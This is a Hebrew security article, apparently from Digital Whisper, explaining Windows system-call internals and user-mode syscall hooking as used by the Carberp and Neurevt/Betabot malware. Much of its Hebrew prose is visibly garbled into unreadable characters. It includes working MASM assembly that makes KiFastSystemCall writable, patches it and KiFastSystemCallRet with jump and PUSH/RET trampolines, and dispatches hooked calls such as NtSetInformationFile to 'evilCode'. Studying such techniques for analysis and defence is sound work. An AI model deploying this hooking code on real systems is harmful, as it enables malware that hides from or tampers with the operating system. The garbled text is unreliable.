ˬ ˪˥ˢ ,˶ˣˬ˞˩-Windows XP ˴ˣˢˬ ˢ˴˧˶ˢ ˪˷ ˶˟˰ˬ˪ ˢ˷ˡ˥ ˨˶ˡ ˢˠ-Ring3 ˪-Ring0  ˢ˶ˤ˥ˣ-  ˸ˣˡˣ˵˲ˢ

SYSENTER/SYSEXIT. 

˨ˣ˸ˬ Intel IA-32 (64) Programming Manual: 

"Executes a fast call to a level 0 system procedure or routine. SYSENTER is a companion 

instruction to SYSEXIT.  

The instruction is optimized to provide the maximum performance for system calls from user 

code running at privilege level 3 to  

operating system or executive procedures running at privilege level 0."  

- Intel IA-32 (64) programming manual, volume 2B. 

ˢ ˸˞ ˸˵˲˯ˬ ˢˡˣ˵˲ˢ ˧˩ ˫˧ˮ˧˧˴ˬˢ ˭˧˟ ˶˟˰ˬ˪ ˶˸ˣ˧˟ ˫˧˟ˣ˦ˢ ˫˧˰ˣ˴˧˟-Privilege Levels .˫˧ˮˣ˷ˢ 

 ˭˧˟ ˢˮˣ˷ ˨˩ ˪˩ ˢˬSYSENTER ˪-INT 2E˷ ˢˡ˟ˣ˰ˢˬ ˰˟ˣˮ ˪ˡ˟ˢˢ ?-INT 2E  ˨˶ˡˢˣ ˢ˵˧˯˲ ˸˞˶ˣˢ ˢˮ˧ˢ

 ˢ˟Windows ) ˸ˣ˵˧˯˲˟ ˪˲˦ˬInterrupts.( 

 ˸˞˶˵ˮˢ ˢ˪˟˦ ˢ˵˧ˤ˥ˬ ˢ˪˰˲ˢˢ ˸˩˶˰ˬInterrupt Descriptor Table ˪˪˩ ˸˞ ˢ˪˧˩ˬˢ  ˸ˣ˵˧˯˲ˢ

ˢˣ ˸˩˶˰ˬ˟-Interrupt Service Routines  ˢ˵˧˯˲ˢ ˶˷˞˩ .˭ˢˬ ˸˥˞ ˪˩ ˪˷ (ˢ˵˧˯˲˟ ˪˲˦ˬ ˶˷˞ ˡˣ˵ˢ)

INT 2E  ˶˲˯ˬ ˢˬˣ˷˶˪ ˸˷ˠ˪ ˢ˪˰˲ˢ ˸˩˶˰ˬˢ ˪˰ ,˸˧˷˰ˮ2E ˟-IDT ˢ ˸˪˟˦˪ ˢ˰˧˟˴ˬˢ-Global 

Descriptor Table  ˰˟˴˞ ˪˪˩˩ ,˸ˣ˞˪˟˦ ˭ˣˬˢ ˢˤ ˭˩) ˢ˵˧˯˲˟ ˪˲˦ˬˢ ˡˣ˵˪ ˰˧˟˴ˬ ˷˧ ˫˷Windows 

.(˸ˣˬ˧˷˶ˣ ˸ˣ˞˪˟˦ ˪˰ ˢ˧ˣˮ˟ 

 ˪˩˟ ,˸˶ˬˣ˞ ˸˞ˤSystem Call  ˣ˪˧˲˞) ˸ˣ˪˧˰˧ ˧˞˪ ˪˧˟ˣˬ˷ ˢˬ ˟ˣ˷ˣ ˟ˣ˷ ˷ˡ˥ˬ ˰˴˟˸˧ ˢˤˢ ˨˧˪ˢ˸ˢ ˪˩

˟ ˸ˣ˶ˬ˷ˮ ˩"˶ˡ˟ ˸ˣ˟ˣ˸˩ˢ˷-L1 Cache ˢˡˣ˵˲ˢ ˭˩˞ˣ ,˶˸ˣ˧ ˪˧˰˧ ˭ˣ˶˸˲ ˞ˣ˴ˬ˪ ˷˶ˡˮ .(SYSENTER  ˸˴˲ˣ˵

 ˭ˣ˶˩˧ˤˢˬ ˸ˣ˞˧˶˵ ˭ˣˬˢ ˡ˟˰ˬ˪ ˸˩˯ˣ˥ˣ ˢ˰ˣ˟˵ ˸˟ˣ˸˩˪) ˸˩˶˰ˬˢ ˸ˣ˞˧˶˵ ˨˧˪ˢ˸ ˸˞ ˸˪˰˧˧ˬˣ ˪˰ ˡˣ˰

˞˷ˣˮˢ.(  

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
http://www.summitsoftconsulting.com/syscallopts.htm
http://www.summitsoftconsulting.com/syscallopts.htm
http://www.summitsoftconsulting.com/syscallopts.htm
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ˢ ˞˷ˣˮ ˫ˣ˩˧˯˪-System Calls:˸˩˶˰ˬ ˸˞˧˶˵ ˪˷ ˢˬ˶ˠ˞˧ˡ , 

 

1.  ˢ˵˧˯˲ˢ ˸˰˴˟˸ˬINT 2E ˢ˞˶ˣˢˢ/SYSENTER. 

2. ˪ ˸˶˟˰ˣˬ ˢ˴˧˶ˢnt!KiFastCallEntry ˪ ˣ˶ˣ˸˟ ˞˶ˣ˵˷-nt!KiSystemService  ˢˬ˶ˠ˞˧ˡ˟ ˶˞ˣ˸ˬ ˞˪)

(˸ˣ˦˷˲ ˫˷˪ 

3. KiSystemService˟ ˞˴ˬˮ˷ ˢ˧˴˵ˮˣ˲ˢ ˶˲˯ˬ ˸˞ ˥˵ˣ˪ ,˶˸˧ˢ ˭˧˟ ,-EAX ˟ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˳˧˶ˬˣ-SSDT 

.ˢˤ ˶˲˯ˬ˪ ˢ˪˧˟˵ˬˢ 

 ˞˷ˣˮˢ ˪˰ ˡˣ˰ ˞ˣ˶˵˪ ˳˧˪ˬˬ ˧ˮ˞˟-˶ˬ˞ˬ ˪˷Online OSR.  

 

System Call Hooking 

 

˟ ˢ˪˷ ˫˧ˮˣ˷ ˫˧ˠˣ˯ ˣ˞˶ˮˣ ˢˬ ˭ˬˤ ˶˟˩ ˸˶˩ˣˬ ˢˬ˴˰ ˢ˦˧˷ˢ ,˧˸˶˩ˤˢ ˶˟˩˷ ˣˬ˩-Carberp  ˪˷ ˢ˲˪˥ˢ)

 ˪˞ ˰˧˟˴ˬˢKiFastSystemCall ˟ˣ (˶˥˞ ˡˣ˵ ˪˞ ˰˧˟˴ˬ˟-Neurevt )˞', ˟'( . ˣˮ˯ˮ˩˸ˢ ˢˬ˷˪˷ ˢ˟˧˯ˢ ˤ˞

˟ ˸ˣ˰˴˟˸ˬ ˸˩˶˰ˬ ˸ˣ˞˧˶˵ ˨˧˞ ˫˧ˮ˧˟ˬ ˣˮ˥ˮ˞˷ ˧˶˥˞ ,˭˞˩-Windows ˸˞ ˫˧˷˪ ˪˩ˣˮ ˢ˲˧˞ ,Hook ?ˣˮ˪˷ 

 ˪˷ ˢˬ˶ˠ˞˧ˡˢ ˫˰System Calling  ˣ˟ ˫ˣ˵ˬ ˪˰ ˰˧˟˴ˢ˪ ˨˶˦˴ˮ ˫˞ ,ˣˮ˪˷ ˫˧˧ˮ˧˰ˢ ˪ˣˬ ˫ˡˣ˵ˢ ˱˧˰˯ˢˬ

ˢ ˸˞ ˰˴˟˪ ˪˩ˣˮ-Hooking ˟ ˫˧˰˧˟˴ˬˢ ˸˪˟˦ ˪˰ ˰˟˴˞ˢ ˸˞ ˫˧˷˪ ˷˵˟˸ˬ ˡ˞ˬ-SSDT ˭˩˞ˣ , ˢ˦˧˷

 ˰ˣ˴˧˟˪ ˢ˰ˣˡ˧Hooking ˟ ˸ˣˮ˷˪ ˞˧ˢ-SSDT ˫ˣ˵˧ˬˢˬ ˰˧˟˴ˬˢ ˸˞  ˣˮ˪˷ ˡˣ˵ ˪˷ ˫ˣ˵˧ˬ ˢ˧˴˵ˮˣ˲ˢ ˧˸˧ˬ˞ˢ

 ˣˮ˧ˮ˧˷ ˢ˪˷ ˰˧˟˴ˬˢ ˸˞˷ ˢ˧˴˵ˮˣ˲˪ ˣ˞˶˵˧˷ ˫˰˲ ˪˩ ˨˩˟ˣKiSystemService  ˫ˣ˵ˬ˟ ˣˮ˪˷ ˡˣ˵ˢ ˸˞ ˳˧˶˧

.˧˸˧ˬ˞ˢ ˡˣ˵ˢ ˸˞ 

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
http://www.osronline.com/article.cfm?id=257
http://www.osronline.com/article.cfm?id=257
http://www.honeynet.org/node/578
http://vrt-blog.snort.org/2014/05/betabot-process-injection.html
http://www.malwaretech.com/2014/06/usermode-system-call-hooking-betabot.html
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 ˫˧˞˶ˣ˵ ˣˤ ˢ˦˧˷˪ ,˭˩ ˤ˞SSDT Hooking ˰˧˸˲ˬ) (é:˸ˣ˧˰˟ ˢˬ˩ ˢ˸˧˞ ˷˧ˣ 

1.  ˟ ˫˧˰˧˟˴ˬˢ ˪˩ ˫˞ ˵ˣˡ˟ˮ ,ˢ˧˪˰ ˸ˣ˪˰˪ ˡ˞ˬ ˪˵-SSDT ˬ ˨ˣ˸˪ ˫˧˰˧˟˴ntoskrnl.exe  ˰ˡˮ ˤ˞ ,˞˪ ˫˞ˣ

.ˢ˪˟˦˟ ˢ˰˧ˠˮ ˢ˸˧˧ˢ˷ 

2. ˧˦ˮ˞ ˧ˮˣˮˠˮˬˣ ˡ˞ˬ ˢ˴ˣ˲ˮ ˶˟˩ ˢ˦˧˷ˢ- ˢ˪˞˩ ˫˧˧ˣˮ˧˷ ˡˠˮ ˸ˣˮˠˢ ˣ˲˯ˣˢˣ ˢ˸ˣ˞ ˸ˣˢˤ˪ ˫˧˰ˡˣ˧ ˯ˣ˶˧ˣ

 ˸ˣ˞˯˶ˠ˟ ˪ˮ˶˵˟ ˫˧ˬˣˡˣ64  ˪˷ ˦˧˟Windows  ˸˥˸dPatchguar  ˢˤ ˸˞ ˫ˠ˷ ˭˟ˣˬ˩ˣ)˶˟˩ ˶˷˲˞ 

˱ˣ˵˰˪(. 

3.   ˢ˟ˣ˷˥ ˧˩ˢ ˢ˟˧˯ˢˣ- .˪ˮ˶˵˪ ˢ˟˧˸˩ ˸ˣ˞˷˶ˢ ˣˮ˸˧˞ˬ ˷ˣ˶ˡ˸ ˣˤ ˢ˦˧˷ 

˟ ˫ˣ˵˧ˬ ˫˧˷˲˥ˬ ˣˮ˥ˮ˞-User Land ˢ ˸˞ ˰˴˟˪ ˪˩ˣˮ ˣ˟-Hook˪ ˸ˣ˧˴˲ˣ˞ˢ ˶˞˷ ˪˩ ˰ˬ˷ˬ ,-Hooking 

) ˵˶˲ˢˬ ˸ˣˡ˶ˣ˧ ˪ˮ˶˵˟ntoskrnl hooking ˭ˣ˶˥˞ˢ ˭ˬˤ˟ ˢ˪ˣ˰˷ ˢ˯˧˲˸ .('ˣ˩ˣ ˣˬ˴˰ ˶˟˧˧˶ˡˢ ˡˣ˵ ˧ˣˮ˧˷ ,

˪ ˣ˧˷˩˰ ˡ˰ ˫˧˶ˣˬ˷ ˣ˧ˢ˷ ˫˧˲˧˩ˢ ˫˧˶˟ˡˢ ˟ˣ˶ ˸˞˷ ˞˧ˢKernel Mode ˟ ˸ˣ˷˰˪ ˶˷˲˞ ˶˟˩-User Land .

) ˢˬ˶ˠ˞˧ˡˢ ˪˷ ˧˪˞ˬ˷ˢ ˡ˴˟ ˫ˣ˵ˬ ˷˲˥ˮ ˤ˞User Landˢ ˸˞ ˫˧˷˪ ˪˩ˣˮ ˣ˟ (-Hook.  ˫ˣ˵ˬ ˷˲˥ˮ ˣˮ˥ˮ˞

ˢ ˪˩ ˣ˧˪˞ ˧ˤ˩˶ˬ ˡ˥˞-System Calls ˢ ˞ˣˢ ˢˤˢ ˫ˣ˵ˬˢ ,˭ˣ˩ˮ ˫˸˷˥˧ˮ .˫˧ˤ˵ˮ˸ˬ-KiFastSystemCall.  ˪˟˞

.˵ˣ˧ˡ˟ ˞˪  ˢ˪˧ˠ˶ ˸˩˶˰ˬ ˸˞˧˶˵ ˪˷ ˢˬ˧˶ˤ ˪˰ ˪˩˸˯ˮ ˣ˞ˣ˟-  ˪˷ ˢˤˢ ˢ˶˵ˬ˟NtTerminateProcess. 

ˢ˶˰ˢ:  ˸˞ ˥˸˲ˮ ,ˢ˷˰ˮˢ ˶˥˞ ˟ˣ˵˰˪ ˫˧˴ˣ˶˷ ˣ˪˞˪IDA  ˸˞ ˥˸ˮˮˣntdll.dllˢ ˸˧ˮˣ˷˪˪ ˷ˠ˧ˮ .-Exports 

˟ ˶˥˟ˮˣ-NtTerminateProcess ˸˞ ˸˞ ˠ˟˞ˡ˪ ˧ˡ˩˟ .ntdll ˢ ˸ˣ˶ˡˠˢ ˸˞ ˸ˣˮ˷˪ ˨˶˦˴ˮ-Process 

Options  ˸˧ˮˣ˷˪ˢ ˸˥˸Debuggerˢˡ˷˟ . Application ˫ˣ˷˶"C:\Windows\system32\rundll32.exe"  

ˢˡ˷˟ˣParameters   ˫ˣ˷˶ˮ"NtTerminateProcess"ˣ ˶˥˞ˬ .-ntdll ˪ ˞ˣ˶˵˪ ˨˶˦˴ˮ ˢ˴˶ˢ ˳˟ˣ˵ ˣˮ˧˞-

rundll32  ˶˦ˬ˶˲˩ ˣ˪ ˵˲˯˪ˣ ˣ˸ˣ˞ ˳˧˶˧˷DLL  ˣ˸ˣ˞ ˨ˣ˸ˬ ˢ˧˴˵ˮˣ˲ˣDLL .˳˧˶ˢ˪ ˢ˴˶ˮ ˶˷˞  ˫˧˷ˮ ,˫ˣ˧˯˪

Breakpoint  ˪˷ ˡˣ˵ˢ ˸˪˧˥˸˟NtTerminateProcess .˳˧˶ˮˣ 

 

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
http://technet.microsoft.com/en-us/library/cc759759(v=ws.10).aspx
http://blogs.mcafee.com/mcafee-labs/analyzing-uroburos-patchguard-bypass
http://www.mcafee.com/ca/resources/reports/rp-defeating-patchguard.pdf
http://www.mcafee.com/ca/resources/reports/rp-defeating-patchguard.pdf
http://www.leviathansecurity.com/wp-content/uploads/uninformed_v3a3.pdf
http://www.leviathansecurity.com/wp-content/uploads/uninformed_v3a3.pdf
https://www.hex-rays.com/products/ida/support/download_freeware.shtml
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˲˟ ˢ˪˧˥˸ˬ ˢ˞˧˶˵ˢ ,ˣˮˡˬ˪ ˶˟˩˷ ˣˬ˩ ˢ˧˴˵ˮˣZwTerminateProcess ˷-ntdll ˪ ˫˧˶˟ˣ˰ ˫˷ˬ .˞˴˧˧ˬ-

SystemCallStub ˪ ˫˧˰˧ˠˬ ˱ˣ˯˟˪ˣ-KiFastSystemCall ˢ ˪˷ ˭ˣ˧˰˶ˢ .˪ˮ˶˵˪ ˢ˴˧˶ˢ ˨˷ˬˢ ˸˞ ˶˧˟˰˧˷-

Hook ˟ ˫˧˦˧˧˟ˢ ˸˷ˬ˥ ˸˞ ˯ˣ˶ˡ˪ ˞ˣˢ-KiFastSystemCall .ˣˮ˪˷ ˡˣ˵˪ ˢ˴˧˲˵˟ ˫˲˧˪˥ˢ˪ˣ 

˷ ˸ˣ˞˶˪ ˪˩ˣˮ ˢˬ˶ˠ˞˧ˡ˟ ˪˩˸˯ˮ ˫˞-KiFastSystemCall ) ˫˧˦˧˧˟ ˢ˰˟˶˞ˬ ˟˩˶ˣˬ8B D4 0F 34 ˦˧˧˟ ˤ˞ˣ (

˪˷ ˡ˥˞C3  ˢ˞˶ˣˢˢ)( RETN  ˸˞˶ˣˢ ˪˧˟˷˟) ˣ˪˪ˢ ˫˧˦˧˧˟ˢ ˸˷ˬ˥ ˸˞ ˯ˣ˶ˡˮ ˫˞˷ ˨˩JMP ˰˧˶˲ˮ (

ˢ ˪˷ ˢ˴˧˶˪-System Call  ˢˡˣ˵˲ˢ ˸˞ ˫ˠ ˣˮ˯˶ˡˣ ˶˥˞ˬ)RETN.( 

 

 ˪˷ ˡˣ˵˟ ˶ˣˤ˧˞ˢ ˪˰ ˪˩˸˯ˮ ˫˞ntdll  ˧˶˥˞KiFastSystemCall ˶˪ ˪˩ˣˮ ˢ˧˴˵ˮˣ˲ˢ ˭˧˟˷ ˸˞ ˸ˣ˞

KiFastSystemCallRet  ˢˡˣ˵˲ˢ ˸˞ ˵˶ ˢ˪˧˩ˬ˷)RETN ˢ˧˴˵ˮˣ˲ˢ ˭˧˟˪ (KiIntSystemCall  ˸ˣ˧ˢ˪ ˢ˶ˣˬ˞˷)

ˢ ˭ˣˮˠˮˬˬ ˫˩˪ ˸˶˩ˣˬ ˸˴˵-System Call  ˪˷Windows 2000  ˷˧ (˶ˣ˥˞˪ ˸ˣˬ˧˞˸ ˪˧˟˷˟ ˭˞˩ ˫ˠ ˸ˬ˧˧˵ˣ

11  .˷ˣˬ˧˷ ˸ˣ˷˰˪ ˪˩ˣˮ ˫ˢ˟ ˫˧˦˧˧˟ (!) 

 

 ˰˴˟˪ ˪˩ˣˮ ˤ˞SHORT JMP  ˢ˩˶ˣ˞˷ ˢ˞˶ˣˢ)2  ˡ˰ ˪˷ ˢ˴˧˲˵˪ ˸˪˟ˠˣˬ ˨˞ ˫˧˦˧˧˟127 ˪ (ˢˬ˧ˡ˵ ˫˧˦˧˧˟- 

[KiFastSystemCallRet+1]  ˪˷ ˸˟ˣ˸˩ˢ ˶˥˞˪ ˡ˥˞ ˦˧˧˟ ,˸˶ˬˣ˞ ˸˞ˤ)KiFastSystemCallRet ˫˷ˬˣ (

˷ ˢˬ ˢˤ ˭˩˞ˣ .ˣˮ˪˷ ˡˣ˵˪ ˳ˣ˲˵ˮ-Betabot  ˪˷ ˥ˣ˸˧ˮ ˞˧ˢ ˢ˞˟ˢ ˢˮˣˬ˸ˢ ,ˢ˷ˣ˰Dump  ˨˧˪ˢ˸ˢ ˪˷

Explorer.exe ˟ ˰ˣˠˮ-Neurevt: 
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Neurevt ˬ ˢ˴˧˲˵ ˢ˷˰-KiFastSystemCall ˪-KiFastSystemCallRet+1 ˸ˣ˞˶ˣˢˢ ˸˞ ˰˴˧˟ ˞ˣˢ ˫˷: 

PUSH 7FF3F524h 

RET 

1.  ˸˟ˣ˸˩ˢ ˪˷ ˸˧ˮ˯˥ˬ˪ ˢ˲˧˥ˡ0x7FF3F524. 

2.  ˸˟ˣ˸˩˪ ˢ˴˧˲˵0x7FF3F524  ˢ˞˶ˣˢˢ)RET  ˢ˲˥ˡˮ˷ ˢˮˣ˶˥˞ˢ ˸˟ˣ˸˩˪ ˢ˴˧˶ˢ ˸˞ ˢ˶˧ˤ˥ˬ

(˸˧ˮ˯˥ˬ˪. 

 

˟ ˷ˣˬ˧˷-PUSH/RET ˟ ˫ˣ˵ˬ˟-JMP  ˣˬ˩ ˸˧˯˥˧ ˞˪ˣ ˸˧˦ˣ˪ˣ˯˟˞ ˸˟ˣ˸˩˪ ˞˧ˢ ˢ˴˧˲˵ˢˣ ˶˥˞ˬ ˣˮ˧˪˰ ˪˵ˬ

 ˸˞˶ˣˢ˟JMP. 

 ˢ˯ˮ˞ ˧ˮ˞ ,˧˪˟ˬ˯˞˟ ˢ˧ˢ˧ ˣˬ˴˰ ˡˣ˵ˢ .ˡˣ˵ˢ ˪˰ ˡˣ˟˰˪ ˪˧˥˸ˮ ˣ˞ˣ˟ ,ˢˤ ˪˩ ˸˞ ˫˧˰ˡˣ˧ ˣˮ˥ˮ˞˷ ˧˶˥˞ ,˟ˣ˦

.ˢ˲˷ˢ ˫˰ ˢ˶˩ˢ ˸˴˪ˬˣˬ ˨˞ ,˶˸ˣ˧˷ ˢˬ˩ ˶˧˟˯ˢ˪ 

 

Writing some code 

˟ ˷ˬ˸˷ˬ ˧ˮ˞-RadAsm ˟ˣ ˥ˣ˸˧˲ ˸˟˧˟˯˩-MASM .˥ˣ˸˧˲ˢ ˸˲˷˩  ˢˬ˴˰ ˧ˮ˲˟ ˸˧ˮ˩ˣ˸ ˞ˣˢ ˟ˣ˸˩ˮ˷ ˡˣ˵ˢ

 ˞"ˤ)exe:˸ˣ˟˧˯ ˧˸˷ˬ ˢ˵˶ˤˢ˪ ˭˩ˣˬˢ ˡˣ˵ ˞˵ˣˣˡ ˞˪ˣ ,(. 

.˞ .ˡˣ˵˟ ˭ˣ˩ˮ ˞˪ ˷ˣˬ˧˷ ˪˰ ˦˰ˬ˟ ˸ˣ˷˵ˢ˪ 

.˟ ˷ ˸ˣ˦˷˲.˶ˬ˞ˬ˟ ˢˠ˴ˢ˟ ˡˣ˵ˢ ˪ 

 ˶˥˞ ˧˪ˮ˶˵ ˟˧˩˶ ˪˩ ˣ˞ ˶˟˧˧˶ˡ ˟ˣ˸˩˪ ˨˶˦˴ˮ ˞˪ .˸ˣˡ˥ˣ˧ˬ ˸ˣ˞˷˶ˢ ˷˶ˣˡ ˞˪ ˡˣ˵ˢ ,˧˸ˮ˧˧˴ ˶˟˩˷ ˣˬ˩

 ˶˷˞ ˷ˬ˸˷ˬˢ ˪˷ ˸ˣ˞˷˶ˢ˟ ˳˶˷ ˨˧˪ˢ˸ ˪˩ ˪˰ ˰˧˲˷ˢ˪ ˪˩ˣˮ .˶ˣ˦˶˦˯˧ˮ˧ˬˡ˞ ˸ˣ˞˷˶ˢ ˞˪ ˣ˪˧˲˞ˣ

ˢˮ˩ˣ˸ˢ ˸˞ ˪˧˰˲ˢ ˮ ˶ˣ˦˶˦˯˧ˮ˧ˬˡ˞ ˸ˣ˞˷˶ˢ˟ ˡˣ˵ˢ ˸˞ ˫˧˴˧˶ˬ ˭˩ ˣˮ˥ˮ˞ ˫˞) ˫ˠ ˡˣ˵ ˵˧˶ˤˢ˪ ˪˩ˣ

.(˫˧˶˥˞ ˫˧˷ˬ˸˷ˬ ˪˷ ˫˧˩˧˪ˢ˸˪ 

:˸ˣ˧˦˶ˡˮ˦˯ ˸ˣ˶ˡˠˢ˟ ˪˧˥˸ˮ ˤ˞ 

. 386                     ;  80386 processor nonprivileged instructions  

. model flat , stdcall       ;  STDCALL calling convention ,  flat memory arrangement  

option casemap : none       ;  Case sensitive  

 ˢ˧˴˵ˮˣ˲˟ ˷ˬ˸˷ˢ˪ ˨˶˦˴ˮVirtualProtect ˬ-Kernel32  ˣ˸ˣ˞ ˶ˣˤ˧˞˪ ˢ˟˧˸˩ ˸ˣ˞˷˶ˢ ˱˧˯ˣˢ˪ ˪˧˟˷˟

 ˢ˧˧˶˲˯ˢ ˸˞ ˱˧˯ˣˢ˪ ˨˶˦˴ˮ ˤ˞ ,˸ˣˮ˷˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞Kernel32. 

include kernel32 . inc     ;  Add kernel32 definitions  

includelib kernel32 . lib  ;  Link  against kernel32 . l ib  
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 ˸˶ˡˠˢData Section: 

. data  

 

oldProtection dd ?       ;  For  VirtualProtect ()  

arrayOfEvil DWORD 149h DUP ( 0),  offset newNtSetInformationFile ,  40h DUP ( 0);  

Place  hooks here by Syscall  numbers 

˟ ˫˧˷ˮ ˢ˪˧˥˸ ,ˡˣ˵ˢ ˫˰ ˪˧˥˸ˮˣ-EAX ˪˷ ˸˟ˣ˸˩ˢ ˸˞: KiFastSystemCall 

. code ;  Start  of code section  

 

start:  

 mov esi ,  07FFE0300h       ;  ESI = SharedUserData ! SystemCallStub  

 lodsd         ;  EAX = KiFastSystemCall  

 call changeProtection  

 ˶˷˞˩changeProtection ˪ ˸˞˶ˣ˵˷ ˢˮ˦˵ ˢ˧˴˵ˮˣ˲ ˞˧ˢ-VirtualProtect˪ ˟ˣ˸˩˪ ˫˧˪ˣ˩˧ ˞˪ ˣˮ˥ˮ˞ .-

KiFastSystemCallRet  ˸ˣ˞˷˶ˢ ˪˰˟ ˞˪ ˶ˣˤ˞ˢ ˧˩Write˟ ˷ˬ˸˷ˮ ˤ˞ ,-VirtualProtect .˸ˣ˞˷˶ˢ ˱˧˯ˣˢ˪ 

 changeProtection:  

  push eax    ;  Save KiFastSystemCall  addr  

  push offset oldProtection  

  push 40h   ;  PAGE_EXECUTE_READWRITE 

  push 6    ;  [ KiIntSystemCall  -  KiFastS ystemCall]  

  push eax  

  call VirtualProtect   ;  VirutalProtect (( void  

*) KiFastSystemCall ,  6,        

 PAGE_EXECUTE_READWRITE,  &oldProtection )  

  pop eax    ;  EAX = KiFastSystemCall  addr  

  retn  

 ˶ˠˣ˞˟ ˷ˬ˸˷ˮ ˸˧ˮ˩ˣ˸ˢ ˨˪ˢˬ˟EDX ˣ˞˟ˣ ˟ˣ˸˩˪ ˢ˴˶ˮ ˭˸ˣ˞ ˸ˣ˞˶ˣˢˢ ˸˞ ˵˧ˤ˥ˢ˪ ˶ˠEAX  ˰˧˟˴ˬ˷ ˶ˠˣ˞˩

.˟ˣ˸˩˪ ˭˞˪ ˣˮ˪ 

1.  mov edx,  03EBh ;  0xEB03 =  JMP SHORT 3 bytes  

2.  mov [ eax],  edx 

1. ˪ ˯˧ˮ˩ˮ-EDX  ˪˷ ˧˶ˣ˵ˬˢ ˭˩ˣ˸ˢ ˸˞ ˯ˣ˶ˡ˸˷ ˢ˞˶ˣˢˢ ˸˞KiFastSystemCall. 

2.  ˸˞ ˯ˣ˶ˡˮKiFastSystemCall ˟ ˞˴ˬˮ˷ ˭˩ˣ˸˟-EDX  ˪˷ ˢ˴˧˲˵)3 .(ˢˬ˧ˡ˵ ˫˧˦˧˧˟ 

˪ ˫˧ˮˬ˞ˮ ˢ˧ˢˮ ˣˮ˥ˮ˞-Neurevt ˟ ˷ˬ˸˷ˮˣ-PUSH/RET  ˸ˣ˞˶ˣˢ ˱˴˶ˢ ˸˞ ˫˧˷ˮˣ ˣˮ˪˷ ˡˣ˵˪ ˳ˣ˲˵˪ ˪˧˟˷˟

 ˧˶˥˞ ˶˷˧ ˢˤˢKiFastSystemCallRet: 

1.  lea eax ,  [ eax + 5]   ;  EAX = [ KiFastSystemCallRet  + 1]  

mov dl ,  68h   ;  0x68 = PUSH 

mov [ eax],  dl   ;  [ KiFastSystemCallRet  + 1]  = PUSH 
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2.  inc eax   ;  EAX = [ KiFas tSystemCallRet  + 2]  

 mov edx,  offset evilCode  ;  EDX = pointer to our  trap  

mov [ eax],  edx  ;  Now [ KiFastSystemCallRet  + 1]  = PUSH offset 

       evilCode  

3.  lea eax ,  [ eax + 4]   ;  EAX = [ KiFastSystemCallRet  + 6]  

 mov dl ,  0C3h   ;  0xC3 = RET 

mov [ eax],  dl   ;  [ KiF astSystemCallRet  + 6]  = RETN 

1.  ˧˶˥˞ ˶˷˧ ˟ˣ˸˩ˮ ˣˮ˪˷ ˡˣ˵ˢ ˸˞KiFastSysetmCallRet -  ˣˮ˞˴ˬ ˫˷11  ˫ˢ˧˪˞ ˟ˣ˸˩˪ ˪˩ˣˮ˷ ˫˧˦˧˧˟

 ˪˧˟˷˟ ˫˧˦˧˧˟ ˷˷˟ ˷ˬ˸˷ˮ ˭˩ˣ˸ˬ)PUSH/RET˟ ˫˧˷ˮ ˤ˞ .(EAX .˳ˣ˲˵ˮ ˣ˧˪˞ ˶ˣˤ˞ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ 

2. ˢ ˸˞˶ˣˢ ˸˞ ˟ˣ˸˩˪˟ ˪˧˥˸ˮ-PUSH  ˦˧˧˟ˢˬ ˸˟˩˶ˣˬ)0x68 ˩ˢ ˤ˞ˣ.(˸˟ˣ˸ 

3. ˦˧˧˟ˢ ˶˥˞˪ 0x68 ˢ ˪˞ ˳ˣ˲˵˧˷ ˣˮ˪˷ ˡˣ˵ˢ ˪˞ ˸˟ˣ˸˩ˢ ˸˞ ˟ˣ˸˩ˮ-Hook-.ˣˮ˪˷ ˫˧ 

4. ˢ ˶˥˞˪-PUSH  ˸˞˶ˣˢ˟ ˫˧˧˯ˮRETN. 

ˢ ˨˶ˡ ˶ˣ˟˰˸ ˸˩˶˰ˬ ˸˞˧˶˵ ˪˩ ˣ˧˷˩˰ ˤ˞-evilCode  ˫˷˟ ˣˮ˶˴˧˷ ˢ˪˟˦ ˪ˣˬ ˵ˡˣ˟ ˡˣ˵ˢ .ˣˮ˪˷

arrayOfEvil ˢ ˫˞ˢ-Syscall  ˫ˢ˪ ˸ˣ˷˰˪ ˢ˴˶ˮ˷ ˢ˪˞ˬ ˡ˥˞ ˞ˣˢ ˧˥˩ˣˮˢHook ˠ˴˧˧ˬ ˨˶˰ˬ˟ ˞˸ ˪˩ .

 ˸ˬ˧˧ˣ˯ˬ ˢ˧˴˵ˮˣ˲˪ ˸ˣ˷˰˪ ˢ˴˶ˮ ˫˞ .ˢ˧˴˵ˮˣ˲Hook ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˢ˸ˣ˞ ˠ˴˧˧ˬ˷ ˞˸˟ ˟ˣ˸˩ˮ ˤ˞-

Hook .˫˧˯˲˞˟ ˞˪ˣˬ˧ ˢ˪˷ ˞˸ˢ ˤ˞ ˢ˧˴˵ˮˣ˲˟ ˫˧ˮ˧˧ˮˣ˰ˬ ˞˪ ˣˮ˥ˮ˞ ˫˞ ,ˣˮ˪˷ 

 ˢˬ˩ ˫˧˷˪ ˪˩ˣˮHooks ˞˩ ˞ˬˠˣˡ˟ .˸˞ˤˢ ˢ˷˧ˠ˟ ˫˧˪ˣˡˠˢ ˸ˣˮˣ˶˸˧ˢ ˡ˥˞ ˢˤˣ ,ˢ˟˶ ˸ˣ˪˵˟ˣ ˢ˴˶ˮ˷ ˭

 ˰˴˟ˮ ˣˮ˥ˮ˞hook ˪ ˸˧˯˥˧ ˦ˣ˷˲-NtSetInformationFile  ˶˲˯ˬ ˢ˧˴˵ˮˣ˲)0x149 ˟-Windows 7 ˰ˮˬ˧˷ (

 ˞˪ˬˮ ˤ˞ ,˸˩˶˰ˬ˟ ˫˧˴˟˵ ˵ˣ˥ˬ˪ ˣˮ˸˧˞ˬ0x149  ˫˧˷ˮ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˠ˴˧˧ˬˢ ˞˟ˢ ˞˸˟ˣ ˫˧˯˲˞˟ ˫˧˞˸

 ˪˷ ˸˟ˣ˸˩ˢ ˸˞NtSetInformationFile. 

evilCode:  

1.  mov ecx ,  offset arrayOfEvil  

2.  lea ec x,  [ ecx + eax *  4]  

3.  mov ebx,  [ ecx]  

4.  cmp ebx,  0 

5.  jz origKiFastSystemCall  

6.  jmp ebx  

